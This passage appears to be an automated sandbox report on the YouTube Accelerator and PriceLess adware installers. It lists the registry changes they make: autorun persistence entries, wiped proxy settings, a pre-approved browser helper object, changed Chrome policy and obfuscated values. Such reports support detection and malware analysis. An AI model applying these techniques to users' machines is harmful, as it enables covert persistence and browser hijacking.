"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process YTAHelper.exe:2496 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process 294823_.exe:2416 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{75F9BF4A-AF67-A478-A37B-31D73186D3F3}]
"URLUpdateInfo" = "http://pricelessorsoft.com"

[HKCR\Wow6432Node\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\, , \??\%Program Files% (x86)\Google\Update, \??\%Program Files% (x86)\Google\UpdateÃ‚Â "

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{886352d4-fc6a-414e-ae29-63021b07d2c1}]
"NoExplorer" = "1"
"(Default)" = "PriceLess"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{75F9BF4A-AF67-A478-A37B-31D73186D3F3}]
"URLInfoAbout" = "http://pricelessorsoft.com"

[HKCR\TypeLib\{E0D6077D-7186-48B2-A6C6-2F7C533E8CFF}\1.0]
"(Default)" = "IEPluginLib"

[HKCR\Wow6432Node\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\ProgID]
"(Default)" = "P886352d4_fc6a_414e_ae29_63021b07d2c1_.9"

[HKCR\Interface\{382F6195-1B46-40D5-B9FD-0493263E6132}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{DFF50D27-9859-4F50-9BE1-A4CBFA102B9D}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\VersionIndependentProgID]
"(Default)" = "P886352d4_fc6a_414e_ae29_63021b07d2c1_"

[HKCR\Wow6432Node\Interface\{382F6195-1B46-40D5-B9FD-0493263E6132}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{0F19EF48-CB8C-416A-B84C-C33B02970632}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{75F9BF4A-AF67-A478-A37B-31D73186D3F3}]
"NoModify" = "1"
"DisplayIcon" = "C:\Windows\System32\msiexec.exe"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"ap" = "-dev-multi-chrome"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ext\CLSID]
"{886352d4-fc6a-414e-ae29-63021b07d2c1}" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{75F9BF4A-AF67-A478-A37B-31D73186D3F3}]
"_In" = "20150108"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}Machine\Software\Policies\Google\Chrome]
"MetricsReportingEnabled" = "0"

[HKCR\TypeLib\{E0D6077D-7186-48B2-A6C6-2F7C533E8CFF}\1.0\FLAGS]
"(Default)" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{75F9BF4A-AF67-A478-A37B-31D73186D3F3}]
"Publisher" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}User\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DontDisplayLogonHoursWarnings" = "1"

[HKCR\Interface\{0F19EF48-CB8C-416A-B84C-C33B02970632}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}User\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"LogonHoursAction" = "2"

[HKCR\Interface\{382F6195-1B46-40D5-B9FD-0493263E6132}\TypeLib]
"(Default)" = "{E0D6077D-7186-48B2-A6C6-2F7C533E8CFF}"

[HKCR\Wow6432Node\Interface\{DFF50D27-9859-4F50-9BE1-A4CBFA102B9D}\TypeLib]
"(Default)" = "{E0D6077D-7186-48B2-A6C6-2F7C533E8CFF}"

[HKCR\Interface\{0F19EF48-CB8C-416A-B84C-C33B02970632}\TypeLib]
"(Default)" = "{E0D6077D-7186-48B2-A6C6-2F7C533E8CFF}"

[HKCR\P886352d4_fc6a_414e_ae29_63021b07d2c1_.P886352d4_fc6a_414e_ae29_63021b07d2c1_.9\CLSID]
"(Default)" = "{886352d4-fc6a-414e-ae29-63021b07d2c1}"

[HKCR\Interface\{0F19EF48-CB8C-416A-B84C-C33B02970632}]
"(Default)" = "IRegistry"

[HKCR\Wow6432Node\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}]
"(Default)" = "PriceLess"

[HKCR\Interface\{DFF50D27-9859-4F50-9BE1-A4CBFA102B9D}\TypeLib]
"(Default)" = "{E0D6077D-7186-48B2-A6C6-2F7C533E8CFF}"

[HKCR\P886352d4_fc6a_414e_ae29_63021b07d2c1_.P886352d4_fc6a_414e_ae29_63021b07d2c1_\CurVer]
"(Default)" = "P886352d4_fc6a_414e_ae29_63021b07d2c1_.9"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"ap" = "2.0-dev-multi-chrome"

[HKCR\P886352d4_fc6a_414e_ae29_63021b07d2c1_.P886352d4_fc6a_414e_ae29_63021b07d2c1_.9]
"(Default)" = "PriceLess"

[HKCR\Wow6432Node\Interface\{0F19EF48-CB8C-416A-B84C-C33B02970632}]
"(Default)" = "IRegistry"

[HKCR\Wow6432Node\Interface\{DFF50D27-9859-4F50-9BE1-A4CBFA102B9D}]
"(Default)" = "ILocalStorage"

[HKCR\TypeLib\{E0D6077D-7186-48B2-A6C6-2F7C533E8CFF}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\PriceLess"

[HKCR\Interface\{382F6195-1B46-40D5-B9FD-0493263E6132}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{75F9BF4A-AF67-A478-A37B-31D73186D3F3}]
"DisplayName" = "PriceLess"

[HKCR\Wow6432Node\Interface\{382F6195-1B46-40D5-B9FD-0493263E6132}\TypeLib]
"(Default)" = "{E0D6077D-7186-48B2-A6C6-2F7C533E8CFF}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{75F9BF4A-AF67-A478-A37B-31D73186D3F3}]
"NoRepair" = "1"
"InstallDate" = "20150108"

[HKCR\Wow6432Node\Interface\{382F6195-1B46-40D5-B9FD-0493263E6132}]
"(Default)" = "IPlaghinMein"

[HKCR\Wow6432Node\Interface\{382F6195-1B46-40D5-B9FD-0493263E6132}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\InprocServer32]
"(Default)" = "%Program Files% (x86)\PriceLess\GyPMznBeNw9Nlq.dll"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{75F9BF4A-AF67-A478-A37B-31D73186D3F3}]
"SilentUninstall" = "C:\ProgramData\PriceLess\ovvklDzNeN5MqWS.exe !x:1 /s /n /i:ExecuteCommands;UninstallCommands"

[HKCR\Wow6432Node\Interface\{0F19EF48-CB8C-416A-B84C-C33B02970632}\TypeLib]
"(Default)" = "{E0D6077D-7186-48B2-A6C6-2F7C533E8CFF}"

[HKCR\P886352d4_fc6a_414e_ae29_63021b07d2c1_.P886352d4_fc6a_414e_ae29_63021b07d2c1_]
"(Default)" = "PriceLess"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{75F9BF4A-AF67-A478-A37B-31D73186D3F3}]
"CategoryName" = "Apps"
"DisplayVersion" = "4.3.0.1958"

[HKCR\P886352d4_fc6a_414e_ae29_63021b07d2c1_.P886352d4_fc6a_414e_ae29_63021b07d2c1_\CLSID]
"(Default)" = "{886352d4-fc6a-414e-ae29-63021b07d2c1}"

[HKCU\Software\RegisteredApplicationsEx]
"5f194e036d47d95d23c108405a0e8e66" = "1"

[HKCR\Wow6432Node\Interface\{DFF50D27-9859-4F50-9BE1-A4CBFA102B9D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\TypeLib\{E0D6077D-7186-48B2-A6C6-2F7C533E8CFF}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\PriceLess\GyPMznBeNw9Nlq.tlb"

[HKCR\Interface\{DFF50D27-9859-4F50-9BE1-A4CBFA102B9D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{DFF50D27-9859-4F50-9BE1-A4CBFA102B9D}]
"(Default)" = "ILocalStorage"

[HKCR\Wow6432Node\Interface\{0F19EF48-CB8C-416A-B84C-C33B02970632}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{DFF50D27-9859-4F50-9BE1-A4CBFA102B9D}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\Interface\{0F19EF48-CB8C-416A-B84C-C33B02970632}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{75F9BF4A-AF67-A478-A37B-31D73186D3F3}]
"UninstallString" = "C:\ProgramData\PriceLess\ovvklDzNeN5MqWS.exe !x:1 /s /n /i:ExecuteCommands;UninstallCommands"

[HKCR\Interface\{382F6195-1B46-40D5-B9FD-0493263E6132}]
"(Default)" = "IPlaghinMein"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\Programmable]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}User\Software\Microsoft\Windows\CurrentVersion]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}User\Software\Microsoft]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}User\Software]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}User\Software\Microsoft\Windows\CurrentVersion\Policies]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{886352d4-fc6a-414e-ae29-63021b07d2c1}]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}User]
[HKCR\Wow6432Node\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\VersionIndependentProgID]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}Machine]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects]
[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration\{886352d4-fc6a-414e-ae29-63021b07d2c1}]
[HKCR\Wow6432Node\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\ProgID]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}User\Software\Microsoft\Windows]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}Machine\Software\Policies\Google\Chrome]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{886352d4-fc6a-414e-ae29-63021b07d2c1}]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}Machine\Software]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}Machine\Software\Policies\Google]
[HKCR\Wow6432Node\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\InprocServer32]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}Machine\Software\Policies]
[HKCR\Wow6432Node\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{65D79DDB-82D0-46CE-A75E-820D60E13785}User\Software\Microsoft\Windows\CurrentVersion\Policies\System]

The process YouTubeAcceleratorService.exe:612 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E0 A5 44 A3"

The process YouTubeAcceleratorService.exe:4068 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E0 A5 44 A3"

The process YouTubeAcceleratorService.exe:3356 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQyJjWvnbINNKfl"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1420692779"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E0 A5 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1420692791"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"
"WpadNetworkName" = "Network 3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "D0 6E AB F7 FE 2A D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"
"TraceLevel" = "3"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "RPJ_bQtlx|ab@_w}Yu`gBISI`@Ndl"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLUpdateFailed" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "D0 6E AB F7 FE 2A D0 01"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtiASLXG@t\li@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "1e344145-f3a3-4b8b-9635-304106c1be75"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZkn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAPW" = "ekCxlP9j"
"SBPID" = "8633e8ff-d126-44fc-b616-75bd1c6bb147"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "MoUmyRAt}uiQkf]hajkGgsAbEsCm["

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"
"XMLVersion" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "UR5lCzgR"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "kO@O"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process YouTubeAcceleratorService.exe:3652 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E0 A5 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"ThreadingModel" = "Free"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "60 13 6D 7E DB 16 1F FF FF FF FF 64 22 18 AF D9"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "IP Address Helper Class"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "%SystemRoot%\SysWow64\netcorehc.dll"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process ins_postInst.exe:4004 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "41 50 A4 EF FE 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

